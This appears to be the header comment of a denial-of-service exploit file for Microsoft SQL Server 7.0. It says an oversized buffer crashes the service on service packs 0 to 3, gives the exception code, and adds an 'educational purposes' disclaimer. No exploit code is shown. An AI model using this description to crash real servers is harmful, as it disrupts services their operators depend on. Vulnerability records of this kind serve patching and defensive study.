MSSQL 7.0 DoS

/* Microsoft mssql 7.0 server is vulnerable to denial of service attack
 * By sending a large buffer with specified data an attacker can stop the 
service
 * "mssqlserver" the error noticed is different according to services' pack but 
the result is always
 * the same one.
 *  Exception Codes = c0000005
 * vulnerable:  MSSQL7.0 sp0 - sp1 - sp2 - sp3
 * This code is for educational purposes, I am not responsible for your acts
